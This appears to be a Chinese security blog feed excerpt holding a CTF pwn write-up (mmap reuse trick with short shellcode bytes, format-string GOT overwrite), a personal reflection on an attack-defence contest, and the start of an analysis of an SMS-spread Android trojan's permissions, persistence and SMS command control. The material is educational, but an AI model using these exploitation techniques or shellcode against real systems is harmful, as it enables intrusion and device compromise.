&lt;p&gt;这个题也比较有意思，主要的思路还是糖果师傅亲测的。&lt;&#x2F;p&gt;
&lt;p&gt;先来跑一段代码：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F; Compile with gcc a.c -o a.o -m32&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;lt;stdlib.h&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;lt;stdio.h&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;){&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; addr1 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; mmap&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;89008900&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 34&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; addr2 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; mmap&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;89008900&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 34&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; addr3 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; mmap&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;89008900&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 34&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; addr4 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; mmap&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;89008900&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 34&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; addr5 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; mmap&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;89008900&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 34&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Addr 1 is &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; addr1)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Addr 2 is &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; addr2)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Addr 3 is &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; addr3)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Addr 4 is &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; addr4)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Addr 5 is &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; addr5)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;*&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;Run result:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;$ .&#x2F;a.o&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;Addr 1 is 0x89008000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;Addr 2 is 0xf7793000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;Addr 3 is 0xf7792000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;Addr 4 is 0xf7791000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;Addr 5 is 0xf7790000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;And debug it:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;gef➤  vmmap&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;     Start        End     Offset Perm Path&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;.....&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;0x89008000 0x89009000 0x00000000 rwx &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;0xf7fd0000 0xf7fd4000 0x00000000 rwx    &#x2F;&#x2F;Caused by ASLR&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;*&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我原本以为OS在指定的地址已被分配的情况下，再次试图获取指定地址，就会发生访问违例，但是看来并不是这样的。OS会另找一块地址，并且重新分配。&lt;&#x2F;p&gt;
&lt;p&gt;现在再来看这个题的执行流程。首先会试图分配一段内存，并将用户输入置入到&lt;code&gt;offset+0xffa&lt;&#x2F;code&gt;开始的内存中，然后将你输入的前五个字节copy到内存的首部，并执行之。初看的话没有入手的地方，因为从0x31337ffa之后只有六个字节可以写入，远远不足以置入shellcode。但是知道了上文所述的特性之后，我们可以多分配几次内存。而由于几次mmap得到的地址是向高地址处分配的，写入的长度也可以随之增加。&lt;&#x2F;p&gt;
&lt;p&gt;总结：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;连续两次令执行的代码为&lt;code&gt;83 2C 24 7C C3&lt;&#x2F;code&gt;，用于跳转到程序的最前部，从而重新执行mmap。&lt;&#x2F;li&gt;
&lt;li&gt;接下来打入的值为你要布局的Shellcode。为了保证跳转正常执行，要先打入一段stub：&lt;code&gt;\xe8\xff\x0f\x00\x00&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;脚本同样见附件。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-heng-429-fu-sai-pwn-1-2&quot;&gt;安恒429 - 复赛 Pwn 1 &amp;amp; 2&lt;&#x2F;h2&gt;
&lt;p&gt;这个Pwn1和Pwn2实际上是几乎完全一样的程序。区别在于，Pwn1关闭了DEP，这也使得Pwn1有几种不同的攻击方式。&lt;&#x2F;p&gt;
&lt;p&gt;官方对Pwn1给出的Exp，是通过格式化字符串打出Stack上的信息，获得Canary和之前保存的调用现场，然后利用其后的一个栈溢出漏洞，复写返回地址。这个Exp的主要是靠信息泄露拿到Canary，防止进入&lt;code&gt;stack_chk_fail&lt;&#x2F;code&gt;里。这种思路体现的是对信息泄露的利用。&lt;&#x2F;p&gt;
&lt;p&gt;但是，有了格式化字符串这个大杀器，我们实际是可以进行任意地址读写的，那实际根本没有必要绕过Canary，可以直接去复写plt表。这里，@Ashitaka 的思路是，通过复写&lt;code&gt;_stack_chk_fail@got.plt&lt;&#x2F;code&gt;的值为一个&lt;code&gt;ret&lt;&#x2F;code&gt;的地址，然后触发一个异常，从而直接让EIP置于栈上，绕过了ASLR。这个主要是利用了任意地址写，修改plt表，来控制代码流程。&lt;&#x2F;p&gt;
&lt;p&gt;但这种做法受制于Stack的Execute位，因此在Pwn2中，这两种方法都不适用了。因为这两场比赛相差不久，因此我直接在CCTF的Hack the FTP Server的基础上做了一些修改，得到了Pwn1&amp;amp;2通用的脚本，只可惜由于去了一次卫生间，被几只队伍拿到了FB……我对脚本只是在攻击流程上做了一些修改。因为考虑到利用两次格式化字符串（一次获取ASLR的基址，一次写入目标地址），需要让第一个格式化字符串同时做两个操作。这种方法通用性还可以，但需要一些时间，如果有之前的脚本积累的话，会快很多。&lt;&#x2F;p&gt;
&lt;p&gt;这里记录下来，主要还是学习下@Ashitaka 的思路，他的这个思路我之前还真没用过。另外，如果准备充分，实际是不需要libc也能拿下的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;guan-yu-wo-zui-jin-zai-gan-shen-me&quot;&gt;关于我最近在干什么&lt;&#x2F;h2&gt;
&lt;p&gt;又是好久没发博客了。最近在处理一些比较杂的问题，然后还和大家一起打了几波CTF，也是蛮有趣的（与此同时带来的是我几科开始亮红灯了…没办法你让我去看那些有的没的我也是不想看啊…）。而也在谋划着想去心仪的公司实习，但目前看来简历也还不是很充实啊…唉。&lt;&#x2F;p&gt;
&lt;p&gt;主要投入了CTF比赛是CCTF和安恒429。CCTF的Pwn只拿下了一道，当时的状态也是差到了一定境界了，虽然拿下了几个题，但是速度不是很好，exp的质量也特别差。&lt;&#x2F;p&gt;
&lt;p&gt;安恒比赛的时候反而还好一些，线上赛打出了几个题，进入上午的复赛之后，毫无意料的拿下了两个Pwn，剩下的Pwn由于自己还没接触过双重释放的洞，没拿下，这个还要继续搞才可以，总之两个Web和两个Pwn主导，我们在60-&amp;gt;10的复赛中进入了第八名。而之前我们也基本没考虑过进入下午的决赛，因此基本没有做什么准备，也直接导致了下午被长亭、Cy大佬等一大批大触们吊打，最后还是靠Web的零星几个攻击才比NPC分数稍微高一点。&lt;&#x2F;p&gt;
&lt;p&gt;回头在车上和队友们一点点的复盘，觉得即使我们有准备，实力也不足以让我们拿到更高的名次了。下午的攻防赛赛棍众多，比赛节奏也非常快，没什么喘息的空间，我一开始甚至完全没有意识到自己的机器已经被别人拿到Root权限了。下午守护的Pwn题实际就是上午Pwn3的一个修改版，我也完全没能力攻击，只能在几个地方做一些简单的防护。最后由于没啥方法，索性直接开始强行终止wget和curl进程。因为运维方面没有什么高效的现场运维工具，对恶意代码的检测也不及时，导致了我们始终无法处理掉Shell。比赛中间我的Pwn二进制文件还被某个队伍删了一波，连备份文件都被删了，这个也导致了我们失分。而在比赛的最后阶段，由于某只不明队伍对我们的攻击，我们的注册功能也不可用，直接由于业务不可用被扣分。&lt;&#x2F;p&gt;
&lt;p&gt;总结起来，被打的原因大概可以归结为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;技术实力不足&lt;&#x2F;li&gt;
&lt;li&gt;缺乏自动化工具等资源&lt;&#x2F;li&gt;
&lt;li&gt;对比赛的一些套路不太熟悉&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;总之以后还是要多和大牛们出来打比赛，平时也不能只在实验室看剧了（误。而关于自动化工具，只能依靠大家自己平时多写脚本了，到时候慢慢做资源积累。&lt;&#x2F;p&gt;
&lt;p&gt;算起来，真正进入信息安全这个坑可能差不多有一年了吧。磕磕绊绊的，总也是走过来了。接下来的一年虽然烦人的事增加了很多，但还是希望自己还有力量能让自己走下去吧。“不忘初心”是有点煽情的，但还是希望自己能做到这一点。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span lang=&quot;en&quot;&gt;&#x2F;&#x2F;&lt;em&gt;Fin@T41&lt;&#x2F;em&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>对某Android木马样本的简要分析</title>
        <published>2016-03-28T00:00:00+00:00</published>
        <updated>2016-03-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/simple-android-virus-reverse/"/>
        <id>https://blog.iret.xyz/posts/simple-android-virus-reverse/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/simple-android-virus-reverse/">&lt;h2 id=&quot;yang-ben-jie-shao&quot;&gt;样本介绍&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;样本名称：结婚请柬.apk&lt;&#x2F;li&gt;
&lt;li&gt;捕获渠道：手机短信 点击链接下载&lt;&#x2F;li&gt;
&lt;li&gt;捕获日期：1&#x2F;19&#x2F;2016&lt;&#x2F;li&gt;
&lt;li&gt;文件大小：329674 bytes&lt;&#x2F;li&gt;
&lt;li&gt;SHA256: 620CD55EF6E709F3B5B2625F9F425613C65929F7643923C9C816A29FFBAF3CBD&lt;&#x2F;li&gt;
&lt;li&gt;SHA1: A60D4ACD69BDAF04B0BF841F2EB5A10CCDF2BECA&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;nei-rong-fen-xi&quot;&gt;内容分析&lt;&#x2F;h2&gt;
&lt;p&gt;直接对apk解包，发现其没有进行混淆，便于直接分析。&lt;&#x2F;p&gt;
&lt;p&gt;从资源文件中可以看到，该木马获取的主要权限有：收发、拦截短消息；读写通话记录；读取联系人；向SD卡中写入文件。另外，通过将自己置为短信广播的接受者，在收到短信时触发对应动作。该木马还将自己注册成为开机自启动项目，并定时唤醒，以达到随时活动的目的。此外，该木马还将自己添加为设备管理器，以防止自己被卸载。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;1.png&quot; alt=&quot;申请权限&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;2.png&quot; alt=&quot;短信广播&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;3.png&quot; alt=&quot;开机自启动&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;4.png&quot; alt=&quot;申请设备管理器&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;安装完成后，首次启动程序时，会启动附带的服务，并试图激活设备管理器。同时，将会删除自己在主屏幕上的图标，隐藏自身。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;5.png&quot; alt=&quot;申请设备管理器&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;6.png&quot; alt=&quot;启动服务&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;服务端首次启动时，会向控制者的手机发送短信和IMEI。同时，通过邮件向控制者指定的邮箱发送消息。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;7.png&quot; alt=&quot;服务端上线提示&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;服务端通过短信接受控制者的指令。当发送短信开头为特定组合时，将会执行不同的命令，如：开通或取消呼叫转移业务、获取短信、获取通讯录、短信拦截等。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;8.png&quot; alt=&quot;控制指令解析&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
